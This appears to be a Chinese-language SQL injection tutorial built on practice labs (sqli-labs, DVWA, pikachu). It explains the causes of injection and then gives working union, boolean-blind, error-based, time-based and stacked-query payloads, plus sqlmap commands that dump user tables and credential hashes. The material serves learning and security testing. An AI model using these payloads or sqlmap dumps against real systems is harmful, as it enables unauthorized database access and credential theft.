SQL 注入

SQL注入原理

理解SQL注入

SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的sql服务器加以解析和执行。

由于SQL语句本身的多样性,以及可用于构造SQL语句的方法很多,因此凡是构造SQL语句的步骤均存在被攻击的潜在风险。

SQL注入的方式主要是直接将代码插入参数中,这些参数会被置入SQL命令中加以执行。

间接的攻击方式是将恶意代码插入字符串中,之后将这些字符串保存到数据库的数据表中或将其当成元数据。

当将存储的字符串置入动态SQL命令中时,恶意代码就将被执行。

如果web应用未对动态构造的SQL语句使用的参数进行正确性审查(即便使用了参数化技术)

攻击者就很可能会修改后台SQL语句的构造

如果攻击者能够修改SQL语句,那么该语句将与应用的用户具有相同的权限。

当使用SQL服务器执行与操作系统交互命令时,该进程将与执行命令的组件(如数据库服务器、应用服务器或web服务器)拥有相同的权限,这种权限的级别通常很高。

如果攻击者执行以上恶意代码的插入操作成功,那么用户数据库服务器或者整个应用会遭到破坏,甚至被控制。

SQL注入的产生过程及常见原因

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
1.产生过程
大多数的web应用都需要与数据库进行交互,并且大多数web应用编程语言(如ASP、C##、.NET、Java和PHP)均提供了可编程的方法来与数据库连接并进行交互。如果web应用开发人员无法确保在将从web表单,cookie及输入参数等收到的值传递给sql查询(该查询在数据库服务器上执行)之前已经对其进行过验证,那么通常会出现sql注入漏洞,如果攻击者能够控制发送给sql查询的输入,并且能够操纵该输入将其解析为代码而非数据,那么攻击者就很有可能有能力在后台数据库执行该代码。
2.常见的sql注入产生原因
基于此,SQL注入的产生原因通常表现在以下几方面:
1. 转义字符处理不合适;
2. 不安全的数据库配置;
3. 不合理的查询集处理;
4. 不当的错误处理;
5. 多个提交处理不当。
3.不当的处理类型
Sql数据库将单引号字符(’)解析成代码与数据间的分界线:
单引号外面的内容均是需要运行的代码,而用单引号引起来的内容均是数据。
因为只需要简单的在URL或WEB页面的字段中输入一个单引号,就能很快速的识别出web站点是否会受到sql注入攻击。
4.不安全的数据库配置
数据库带有很多默认的用户预安装内容。SQL Server使用声名狼藉的“sa”作为数据库系统管理员账户,MySQL使用“root”和“anonymous”用户账户,Oracle则在创建数据库时通常会创建SYS、SYSTEM、DBSNMP和OUTLN账户。这些并非是全部的账号,知识比较出名的账户中的一部分,还有很多其他的账户。其他账户同样按默认方式进行预设,口令总所周知。
这就带来了很大的安全风险,攻击者利用sql注入漏洞时,通常会常识访问数据库的元数据,比如内部的数据库和表的名称、列的数据类型和访问权限,例如MySQL服务器的元数据位于information_schema虚拟数据库中,可通过show databases;和show tables;命令访问。所有的MySQL用户均有权限访问该数据库中的表,但只能查看表中那些与该用户访问权限相对应的对象的行。
5.不合理的查询集处理
有时需要使用动态的sql语句对某些复杂的应用进行编码,因为程序开发阶段可能还不知道要查询的表或字段(或者不存在)。比如与大型数据库交互的应用,这些数据库在定期创建的表中的数据由于应用已经产生了输入,因而开发人员会信任该数据,攻击者可以使用自己的表和字段数据来替换应用产生的值,从而影响系统的返回值。
6.不当的错误处理
错误处理不当会为web站点带来很多安全方面的问题。最常见的问题是将详细的内部错误消息(如错误代码,数据库转存储)显示给用户或攻击。这些错误消息会泄露实现细节,为攻击者提供与网站潜在缺陷相关的重要线索。
7.多个提交处理不当
大型的web开发项目会出现这样的问题:有些开发人员会对输入进行验证,而一些开发人员则不以为然。对于开发人员,团队,甚至公司来说,彼此独立工作的情形并不少见,很难保证项目中每个人都遵循相同的标准。
应用打开发人员还倾向于围绕用户来设计应用,他们尽可能的使用预期的处理流程来引导用户,认为用户将遵循他们已经设计好的逻辑顺序。
例如:当用户已到达一系列表单中的第三个表单时,他们会期望用户肯定已经完成第一个和第二个表达。但实际上,借助URL乱序来请求资源,能够非常容易的避开预期的数据流程。

数据库基础

数据在数据库中是按照表单的方式存储的

在phpstudy里面

可以很方便的打开mysql终端

img

使用 show databases; 命令可以查看所有的数据库名

我的存在数据库:

1
2
3
4
5
6
7
information_schema
challenges
mysql
performance_schema
security
test
yichen

img

其中:information_schema 数据库是 MySQL 自带的

在 MySQL 中,把 information_schema 看作是一个数据库,确切说是信息数据库

其中保存着关于 MySQL 服务器所维护的所有其他数据库的信息

如数据库名,数据库的表,表栏的数据类型与访问权限等

数据库里面几张重要的表的状态我放在这,如果后面涉及这几张表不太明白可以回来看一下

使用use yichen; 用来选择想要使用的数据库

img

使用 show tables; 来显示数据库中的所有数据表

img

使用 select * from yichen; 来查看数据表”yichen”中所有的数据信息

img

数据表:yichen中一共有三列数据,列名分别是:id,name,age

如果想查看yichen表中writeup的年龄应该怎样那?

有两种简单的方法:

1
2
3
select age from yichen where name='writeup';

select age from yichen where id=2;

这里需要注意的是name字段属于字符串,所以需要用单引号引起来

那其实当我们访问一个网页上的时候比如sqli-labs的第一关:

?id=1实际上就是去数据库里面查询id=1的时候的 name 和 password列的值

img

补充一些关于information_schema数据库的数据表的信息:

SCHEMATA 表:

提供了当前 mysql 中所有数据库的信息(主要用来查询数据库名(schema_name))

img

TABLES 表:提供了关于数据库中的表的信息(包括视图)

img

在 phpmyadmin 里可以看的清楚点(主要用来查询数据表名 (table_name))

img

COLUMNS 表:提供了表中的列信息(主要用来查询字段名(column_name))

img

基本原理

前面提到访问?id=1的时候就是去数据库里查询id=1的字段的值,

那么

当我不去正常访问

1
id=1

而是访问一个

1
id=1'

会发生什么?报错了!

img

看报错的回显发现

1
2
3
您的SQL语法有误; 
检查与您的MySQL服务器版本相对应的手册以获取正确的语法
以在第1行的''1'' LIMIT 0,1'附近使用

仔细看一下,’’1’’ LIMIT 0,1’,会发现单引号是这么配对的img

也就是说我们输入的 1’ 去查询的时候出问题了,我们可以查看一下less-1的源代码,找到查询语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
include("../sql-connections/sql-connect.php");
error_reporting(0);

if(isset($_GET['id']))//使用get方式接受一个参数id
{
$id=$_GET['id'];//把get得到的id的值赋给变量id

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";//使用这条语句去查询
$result=mysql_query($sql);//把查询的结果给result这个变量
$row = mysql_fetch_array($result);//把结果变成了数组的形式

if($row)//如果得到结果就把他展示出来↓
{
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
}
else //没有得到结果就展示mysql操作产生的文本错误信息
{
print_r(mysql_error());
}
}

?>

我们只要关心这一句

1
SELECT * FROM users WHERE id='$id' LIMIT 0,1

把之前传入的 1' 带入 $id 看看结果

1
SELECT * FROM users WHERE id='1'' LIMIT 0,1

会发现传入的单引号把原本已经存在的那一个左单引号闭合掉了

那多出来的那一个右单引号就出了问题了

导致后面的语句被识别为要运行的代码

使用 and 1=1—+

mysql中的注释有两种,一个是 --空格,一个是 #

sql注入中的注释符的解释

'order by 4--+ 猜列数

order by 是用来排序的,后面可以跟着列数,比如 order by 1 是按照第一列来排序,当使用大于数据表有的列数的时候就肯定会报错了,这样就可以用来判断有几列

-1'union select 1,2,3--+ 联合查询,一般用来检查什么地方可以回显

img

显示出 2,3,说明这里 2 与 3 的位置会被打印出来

我们就可以把想要查询的放在这里两个位置让他显示给我们

SQL 注入分类

SQL 注入分类:

按 SQLMap 中的分类来看,SQL 注入类型有以下 5 种:

  • [ ] UNION query SQL injection (可联合查询注入)
  • [ ] Stacked queries SQL injection (可多语句查询注入)堆叠查询
  • [ ] Boolean-based blind SQL injection (布尔型注入)
  • [ ] Error-based SQL injection (报错型注入)
  • [ ] Time-based blind SQL injection (基于时间延迟注入)

接受请求类型区:

1
2
3
4
5
6
1.GET 注入
GET 请求的参数是放在 URL 里的,GET 请求的 URL 传参有长度限制 中文需要 URL 编码
2.POST注入
POST 请求参数是放在请求 body 里的,长度没有限制
3.COOKIE注入
cookie 参数放在请求头信息,提交的时候 服务器会从请求头获取

注入数据类型的区分:

1
2
3
4
5
6
1.int整型
select * from users where id=1
2.sting字符型
select * from users where username='admin'
3.like 搜索型
select * from news where title like '%标题%'

常规利用思路

  1. 寻找注入点,可以通过 web 扫描工具实现
  2. 通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。
  3. 猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息)还可以获取数据库的 root 账号 密码—思路
  4. 可以通过获得的用户信息,寻找后台登录。
  5. 利用后台或了解的进一步信息。

手注常规思路

  1. 判断是否存在注入,注入是字符型还是数字型
  2. 猜解 SQL 查询语句中的字段数 order by N
  3. 确定显示的字段顺序
  4. 获取当前数据库
  5. 获取数据库中的表
  6. 获取表中的字段名
  7. 查询到账户的数据

详细注入过程

SQL 注入漏洞的产生需要满足以下两个条件

1
2
3
4
5
6
参数用户可控:从前端传给后端的参数内容是用户可以控制的

参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询

如果参数id存在注入点
参数的位置可以互换,使用工具的时候要注意
判断注入点
猜列数
1
2
3
' order by 3 --+
' order by 4 --+
' order by 5 --+
猜数据库
1
' union select 1,2 --+   查看回显点
1
' union select user(),database(),version() --+   查看其他数据
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
union 查询结合了两个 select 查询结果

根据上面的 order by 语句我们知道查询包含两列

为了能够现实两列查询结果

注意参数使用字段中不存在的

方便全部回显

-aaa' union select 1,(select ........) --+

我们需要用 union 查询结合我们构造的另外一个 select

注意在使用 union 查询的时候需要和主查询的列数相同

information_schema.tables:记录所有表名信息的表

information_schema.columns:记录所有列名信息的表

table_name:表名

column_name:列名

table_schema:数据库名

user() 查看当前MySQL登录的用户名

database() 查看当前使用MySQL数据库名

version() 查看当前MySQL版本
猜表名
1
2
3
' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() --+

' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = database()) --+

group_concat 分组查询

备注:GROUP_CONCAT函数将分组中的字符串与各种选项进行连接。

这里介绍几个字符连接函数:

1
2
3
4
5
1. concat(str1,str2,...)——没有分隔符地连接字符串

2. concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串

3. group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据

因为我们查询到的数据不是只有一个,所以需要用连接函数把他们连接成一串才能显示出来

猜列名
1
2
3
' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users' --+

' union select 1,(select group_concat(column_name) from information_schema.columns where table_name ='users') --+
猜用户数据

列举出几种 payload:

1
' union select 1,group_concat(username,password) from users --+
1
' union select 1,(select group_concat(username,password) from users) --+
1
' union select group_concat(username),group_concat(password) from users --+
猜 root 用户
1
' union select 1,group_concat(user,password) from mysql.user --+

得到 root 用户信息:

1
root*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
拓展limit
1
2
3
limit m,n 从m行开始,到m+n行结束

select * from admin limit 2,1 指的是 从第二行开始,到第三行结束
总结

根据注入位置数据类型将sql注入分类

利用order判断字段数

1
' order by 3 --+

利用 union select 联合查询,将id值设置成不成立,即可探测到可利用的字段数

1
’ union select 1,2,3 --+

利用函数database(),user(),version()可以得到所探测数据库的数据库名

1
' union select 1,database(),version() --+

利用 union select 联合查询,获取表名

1
' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

利用 union select 联合查询,获取字段名

1
' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

利用 union select 联合查询,获取字段值

1
' union select 1,group_concat(username),group_concat(password) from users--+
union 联合注入原理

联合查询注入是联合两个表进行注入攻击

使用关键词 union select 对两个表进行联合查询。

两个表的字段要数要相同,不然会出现报错。

member表有7个字段

users 有3个字段

如果直接联合两个表 因为列数跟第一个表不一样 会导致出错

整合的联合查询方法

1
SELECT * FROM member WHERE id=1 union select 1,2,3,4,5,6,7 from users

member有个7个字段 users 也需要有三个与之匹配

这些数字可以替换成字段的名称或者函数。

替换成函数

1
SELECT * FROM member WHERE id=1 union select 1,2,3,4,database(),user(),version() from users

字段替换成字段

1
SELECT * FROM member WHERE id=1 union select 1,2,3,level,id,username,password from users

如果没有加上 limit 限定条数会把所有内容查询出来,所以都会加上 limit 限定

1
SELECT * FROM member WHERE id=1 union select 1,2,3,level,id,username,password from users limit 0,1

但是只会显示第一条,因为

1
SELECT * FROM member WHERE id=1

这个语句是存在记录的

如果想要 admin的内容可以把1 换成其他不存在的记录,

因为默认负数就表示不存在的

所以可以在数字前加上-1 即可显示第二个表的内容。

1
SELECT * FROM member WHERE id=-1 union select 1,2,3,level,id,username,password from users limit 1,1

UNION联合注入

源码:

1
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 
判断 SQL 注入
1
2
$query = "SELECT first_name, last_name FROM 
users WHERE user_id = '1'and '1'='1';";
1
2
$query = "SELECT first_name, last_name FROM users WHERE 
user_id = '1'and '1'='2';";

输入1’and ‘1’=’1页面返回用户信息和输入 1’and ‘1’=’2 页面返回不一样的信息

基本可以确定存在 SQL 注入漏洞

判断字段数

使用语句 order by 确定当前表的字符数

order by 1 如果页面返回正常 字段数不少于 1,order by 2 不少于 2,

一直如此类推直到页面出错。正确的字段数是出错数字减少 1

公式 order by n-1

1
2
3
4
5
1' order by 1--+ 正常

1' order by 2--+ 正常

1' order by 3--+ 出错

最终确定字段数为 2

联合查询注入获取敏感信息

联合查询 输入 数字 查询页面是否有数字输出。输出的地方就是显示的内容但是被数字替换了。

-1 是让前面的表查询的内容不存在。所以就会显示显示数字。

1
-1' union select 1,2 --+

把数据替换成 mysql 的函数例如 md5(1) 这会在页面返回 1 的 md5 加密信息。

1
-1' union select 1,md5(1) --+

使用这个函数一般是白帽子扫描器的匹配存在漏洞的特征码。

接着获取 mysql 版本 当前用户权限 当前数据库

version() mysql 版本

database() 当前数据库

user() 当前用户名

group_concat()分组打印字符串

把函数直接替换数字查看页面

1
-1' union select 1,version() --+
1
-1' union select 1,group_concat(user(),0x3A,database(),version()) --+

如果你想一次打印多个敏感信息可以使用 group_concat()把查询的函数写人 里 0x3A 是:这个符号的十六进制 在 mysql 里会自动转成符号:

知道当前库名是 dvwa

联合查询注入通过 information_schema 获取表

在黑盒的情况下是不知道当前库有什么表的

可以通过 mysql 自带的information_schema 查询当前库的表。

查询当前库的表 limit 1 相当于 limit 1,1 表示显示第一个 1 改成 2 就是第二个

如此类推

第一个表

1
-1' union select 1,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1) --+

第二个表

1
-1' union select 1,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,2) --+
联合查询注入通过 information_schema 获取字段

同样的查询字段也可以通过内置库 information_schema 里的 COLUMNS

这个表记录所有表的字段。通过 COLUMNS 查询 users 表的字段。

获取 users 表第一个字段名

1
-1' union select 1,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 1) --+

获取 users 表第二个字段名

1
-1' union select 1,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 2,1) --+

获取 users 表第三个字段名

1
-1' union select 1,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 3,1) --+
通过联合查询表里的内容

通过以上的黑盒查询 获取库名、表名、字段、那么就可以查询某个表的内容。

1
-1' union select 1,(select group_concat(user,0x3a,password) from users limit 1) --+

布尔型盲注入

这种在页面中不会显示数据库信息,一般情况下只会显示对与错的内容。

image-20220816095058383

接收 id 的值,直接带入查询

如果存在即返回 users is exists in the database

否则显示 users id is missing 像这种只有正确与错误页面。

页面不会显示数据库里任何内容,如果存在注入,成为盲注入。

盲注入的方式有两种:一种是布尔型盲注入,另外一种是延时注入。

判断盲注入

输入 SQL 注入检测语句 判断页面是否不一样

如果不一样大概会存在 SQL 注入漏洞

1
1'and '1'='1 
1
1'and '1'='2 

如果输入检测语句页面没有任何改变可以使用延时语句进行检测

1
1'and sleep(10)--+ 

函数 sleep() 在 mysql 是延时返回的意思 以秒为单位 sleep(10) 即延时 10 秒执行。

image-20220816095900545

布尔型注入攻击

布尔型注入攻击,因为页面不会返回任何数据库内容

所以不能使用联合查询将敏感信息显示在页面

但是可以通过构造 SQL 语句,获取数据。

布尔型盲注入用到得 SQL 语句

1
select if(1=1,1,0)

if()函数在 mysql 是判断,第一个参数表达式,如果条件成立,会显示 1,否则显示 0

1=1 表达式可以换成构造的 SQL 攻击语句

1
1' and if(1=1,1,0) --+ 

页面返回正常

这个语句实际上是 1’and 1,真 and 真 结果为真

1 是存在记录的。所以返回正确页面。

1
1' and if(1=2,1,0) --+ 

页面返回错误,这个语句就是 1’and 0 ,真 and 假 结果为假

整个 SQL ID 的值也是 0 所以没有记录

返回错误页面。

布尔型盲注入获取数据库敏感信息

在黑盒的环境下,通过构造 SQL 注入语句,根据页面的特征确定获取敏感信息。

布尔型盲注入用到的函数

1
SUBSTRING()字符串截取

第一个参数是一个字符串,第二个参数是从哪里开始截取 第三个是要截取的长度。

1
select database()查询当前库

通过 substring 截取截取长度

举例

1
2
select substring(‘ename’,2,2)
结果为‘am’。
1
2
select substring(database(),1,1) 
截取database()数据库名 的第一个字符

image-20220816100002099

接着再用 if 函数进行构造

1
select if(substring(database(),1,1)='r',1,0)

判断数据库第一个字是不是字符 r,如果是返回 1 否则返回 0 。

接着判断第二个字符:

将 substring 第二个参数写成 2 因为要截取第二个字符

1
select if(sunstring(database(),2,1)='o',1,0) 

第二个字符为 o。如此类推。再后拼

接字符就是完整的库名。

在黑盒模式下布尔型注入
1
2
3
4
5
6
7
8
9
10
11
12
13
在上面详细了说了布尔型盲注入的原理,在黑盒的模式下进行测试。

首先判断注入

判断完注入就获取数据库的长度

得到长度再查询库名

通过库名再查询表

接着通过表查询字段

最后查询某表指定的数据
布尔型盲注入查询长度

要查询当前库名,首先确定要查询数据库的长度,再通过截取字符进行对比。

1
1' and if(length(database())=4,1,0) --+

判断库名的长度为 4,截取第一个字符再进行判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
0
1
2
3
4
5
6
7
8
9
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
@
_

每次都要与这些字符进行判断。最后得到 r是数据库名的第一个字符

1
1' and if(substring(database(),1,1)='r',1,0) --+
1
1' and if(substring(database(),2,1)='o',1,0) --+
1
1' and if(substring(database(),3,1)='o',1,0) --+
1
1' and if(substring(database(),4,1)='o',1,0) --+

如果数据库名很长呢?我们不知道怎么办

burpsuite爆破库名

拼接字符得到 root 库名

得到库名接着获取表名

原理

1
select if(substring((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1),1,1)='g',1,0)

payload:

1
1' and if(substring((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1),1,1)='g',1,0) --+
1
1' and if(substring((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,2),1,1)='u',1,0) --+

在burpsuite中设置三个变量

limit 0,1 将0设置递归增加0-10

if(ss,1,1) 将1设置递归增加至40

字符a-z

获取字段名

在用 burpsuite 抓包修改变量

1
1' and if(substring((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 0,1),1,1)='u',1,0) --+

当前库的表的第一个列字符是否等于 u

如果等于 u 返回正则页面 否则返回错误页面。

1
select * from users where user_id=1 and if(substring((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' and TABLE_SCHEMA=database() limit 0,1),1,1)='u',1,0);

半自动注入 跑就ok

首先跑查询账号和密码的长度

1
1' and if((SELECT LENGTH(CONCAT(user,0x3a,PASSWORD)) from users limit 1)=38,1,0) --+

然后使用 burpsuie 获取账号和密码

获取数据
1
1' and if(substring((select CONCAT(user,0x3a,PASSWORD) from users limit 1),1,1)='a',1,0)--+

burpsuite 抓包修改值 提交测试。

最后整理结果得出

1
admin:5f4dcc3b5aa765d61d8327deb882cf99

报错型注入

数据库显错是指,数据库在执行时,遇到语法不对,会显示报错信息,例如语法错语句

1
select'11064 - You have an error in your SQL syntax; check the manual that corresponds toyour MySQL server version for the right syntax to use near ''' at line 1

程序开发期间需要告诉使用者某些报错信息 方便管理员进行调试,

定位文件错误

特别 php 在执行 SQL 语句时一般都会采用异常处理函数,捕获错误信息。

在 php 中 使用 mysql_error()函数。

如果 SQL 注入存在时,会有报错信息返回,可以采用报错注入。

代码中分析

打开 dvwa 分析语句

image-20220816095446355

如果语法错误,msqli_error()、mysqli_connect_error()会将语法错误信息

显示到页面上

SQL 报错注入攻击

判断是否存在报错注入

输入单引号 如果报错有可能存在报错注入,

如果拼接SQL 语句带入到 mysql 执行即存在报错注入。

输入

1
1'and info() --+

就可以显示当前库

原理是

1
SELECT * FROM users WHERE user_id = '1' and info() 

会报错显示当前库不存在这个函数

这样当前库名就显示在页面上。

报错注入获取数据库敏感信息

输入构造的攻击语句 页面返回数据库信息

1
1'and (updatexml(1,concat(0x7e,(select user()),0x7e),1)) --+

把 user()替换成其他的函数 version() 、database() 就能得到 mysql 得版本信息和当前库名。

但是采用 updatexml 报错函数 只能显示 32 长度的内容

如果获取的内容超过 32字符就要采用字符串截取方法。

来每次获取 32 个字符串的长度

除了 updatexml 函数支持报错注入外,mysql 还有很多函数支持报错。

1.extractvalue()

1
1' and (extractvalue(1,concat(0x7e,(select user()),0x7e))) --+

2.exp()

1
1' and exp(~(select * from(select user())a));

等等

其他函数介绍
1
extractvalue(1,concat(0x7e,(select @@version),0x7e))

mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误

1
updatexml(1,concat(0x7e,(select @@version),0x7e),1)

mysql对xml数据进行查询和修改的 xpath 函数,xpath 语法错误

上面两个需要传入xpath格式的字符串,但是传入的却不符合,但可以执行,所以报错

1
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;

mysql 重复特性,此处重复了 version,所以报错,有些地方不管用

如果等号“=”被禁用了,可以使用like或<>替换,<>意思是不等于,在前面加上!意思就是等于,

如:

1
select 1,group_concat(tablem_name) where !(table_schema <> security) 
在黑盒模式下的报错注入

在黑盒模式下的报错注入 首先获取当前库,通过库获取表名

接着通过表名获取字段,最后获取字段内容。

报错注入得到库名

注入以后语句均可获取库名

1
1' and info() --+
1
1' and (updatexml(1,concat(0x7e,(select database()),0x7e),1)) --+

得到库名 root

报错注入获取 mysql 账号和密码

获取账号和密码需要 root 用户才有足够大的权限

1
select authentication_string from mysql.user limit 1;
1
2
select (updatexml(1,concat(0x7e,(select (select authentication_string from mysql.user limit 1 )),0x7e),1))
前32位
1
2
select(updatexml(1,concat(0x7e,(select (substring((select authentication_string from mysql.user limit 1),32,40))),0x7e),1))
32到40位
报错注入获取表名

通过 mysql 内置库 information_schema 通过构造 SQL 语句查询获取表名

采用 floor函数 报错

并不会存在长度问题

查询第一个表名

1
1'and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

将 LIMIT 0,1 改成 1,1 表是第二个表名

1
1'and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
报错注入获取字段

在获取表名之后就可以获取字段名,如获取 usrs 的字段名

获取第一个字段名

1
1'and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='users' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

获取第二个字段名

1
1'and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='users' LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

可以使用 burpsuite 批量对字段批量获取,首先抓包,修改变量,设置匹配规则。

报错注入获取信息

现在已经获取 users 表的名字和它的字段名,接下来可以对内容进行查询。

1
1'and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,user,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

如果存在多个用户 把 limit 0,1 改成 1,1 如此类推知道获取最后一个用户为止

使用 busrpsuite 对用户获取设置数量 再设置过滤网页响应内容。

获取库里 users 表所有用户的账号和密码。

updataxml函数 限制字数

floor函数 不限制字数

时间延时型注入

时间注入又名延时注入,属于盲注入的一种

通常是某个注入点无法通过布尔型注入获取数据而采用一种突破注入的技巧

在 mysql 里 函数 sleep() 是延时的意思,sleep(10)就是 数据库延时 10 秒后返回内容。

判断注入可以使用

1
select * from user where id=1 and sleep(10) 

数据库延时 10 秒返回值 网页响应时间至少要 10 秒 根据这个原理来判断存在 SQL 时间注入。

mysql 延时注入用到的函数 sleep() 、if()、substring()

1
select if(2>1,sleep(10),0) 

2>1 这个部分就是你注入要构造的 SQL 语句。

1
select if(length(database())>1,sleep(5),0)

这个就是查询当前库名长度大于 1 就会延时 5 秒执行。

1
-1' or if(length(database())>1,sleep(5),0) --+ 

可以看到网页是大于五秒返回。根据这个原理 n>1 n不延时就能确定当前数据库的长度了。

具体意思

  若网站执行了sql后,不管是否出错,都返回正常页面(不回显信息)。那么我们就不能通过返回的页面来指挥注入了。

  此时就要用基于时间延迟的注入,使用sleep()函数来控制sql执行的时间。

​ 从而判断我们的语句是否执行正确。

1
select * from test where id = 1 and if (substring(version(),1,1)=5,1,sleep(5)) --+

这条语句执行时,如果mysql版本不是5,则延时5秒,根据页面返回时长来判断数据库版本。

利用场景

  时间注入是盲注入的一种,利用的场景是当目标无法使用布尔盲注获得数据时,就可以使用这种基于时间延迟的注入

  利用语法:

1
select if(length(database())>1,sleep(5),0 )

  这里的意思是数据库名的长度如果大于1就延时5秒返回结果

sqlmap利用
前置知识
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
-u 表示检测的 url

-p 指定的检测参数是哪一个

http://192.168.31.231/pikachu/vul/sqli/sqli_str.php?name=vince&submit=%E6%9F%A5%E8%AF%A2

-p name

-v 显示等级
-v #详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容

--technique=T 检测方法为时间注入

--dbms mysql 指定检测数据库是mysql类型

--threads 10 设置线程数

--current-user 获取用户名

--current-db 获取当前数据库名

--batch 使用默认模式 自动确认Yes

--tables -D 指定数据库 获取指定数据库的表名

--columns 默认字典 -T 指定表名 获取指定表的字段名

--dump 导出数据

-C 指定查询的字段

参数 —technique 用于指定检测注入时所用技术。

默认情况下 Sqlmap 会使用自己支持的全部技术进行检测。

此参数后跟表示检测技术的大写字母,其值为 B、E、U、S、T 或Q

含义如下:

1
2
3
4
5
6
7
8
9
10
11
B:Boolean-based blind(布尔型注入)

  E:Error-based (报错型注入)

  U:Union query-based (可联合查询注入)

  S:Stacked queries (可多语句查询注入)

  T:Time-based blind (基于时间延迟注入)

  Q:Inline queries (嵌套查询注入)

  可以用 “—technique ES” 来指定使用两种检测技术。”

​ —technique=BEUSTQ” 与默认情况等效。

1
sqlmap.py -u  "http://127.0.0.1/sqli/Less-1/?id=1" --technique=B --banner

sqlmap 设置时间盲注延迟时间:

--time-sec 3 参数设置基于时间延迟注入中延时时长,默认为 5 秒

检测注入
1
sqlmap -u "http://192.168.31.231/pikachu/vul/sqli/sqli_str.php?name=vince&submit=1" -p name --technique=T -v 1 --dbms mysql 

列出库名
1
sqlmap -u "http://192.168.31.231/pikachu/vul/sqli/sqli_str.php?name=vince&submit=1" -p name --technique=T -v 1 --dbms mysql --current-user --current-db --threads 10 --batch

列出表名
1
sqlmap -u "http://192.168.31.231/pikachu/vul/sqli/sqli_str.php?name=vince&submit=1" -p name --technique=T -v 1 --dbms mysql --tables -D pikachu --batch

image-20220829144510934

列出字段
1
sqlmap -u "http://192.168.31.231/pikachu/vul/sqli/sqli_str.php?name=vince&submit=1" -p name --technique=T -v 1 --dbms mysql --columns -T users -D pikachu --batch

image-20220829144429972

列出数据
1
2
3
4
sqlmap -u "http://192.168.31.231/pikachu/vul/sqli/sqli_str.php?name=vince&submit=1" -p name --technique=T --dump -v 1 --dbms mysql -C "id,username,password" -T users -D pikachu --threads 10 --batch


sqlmap -u "http://192.168.31.231/pikachu/vul/sqli/sqli_str.php?name=vince&submit=1" -p name -v 1 --technique=T --dump -C "id,username,password" -T users -D pikachu --batch

image-20220829144443813

堆叠查询型注入

堆叠查询:堆叠查询可以执行多条 SQL 语句,语句之间以分号(;)隔开

而堆叠查询注入攻击就是利用此特点,在第二条语句中构造要执行攻击的语句。

在SQL中,分号(;)是用来表示一条sql语句的结束。

在 ; 结束一个sql语句后继续构造下一条语句,会一起执行

在 mysql 里有以下函数执行

1
mysqli_multi_query 

函数可以执行一个或多个针对数据库的查询。多个查询用分号进行分隔。

但是堆叠查询只能返回第一条查询信息,不返回后面的信息。

1
2
3
4
5
6
7
select version();select database()

;show databases

;show tables

;show columns from tables

堆叠注入的危害是很大的 可以任意使用增删改查的语句,

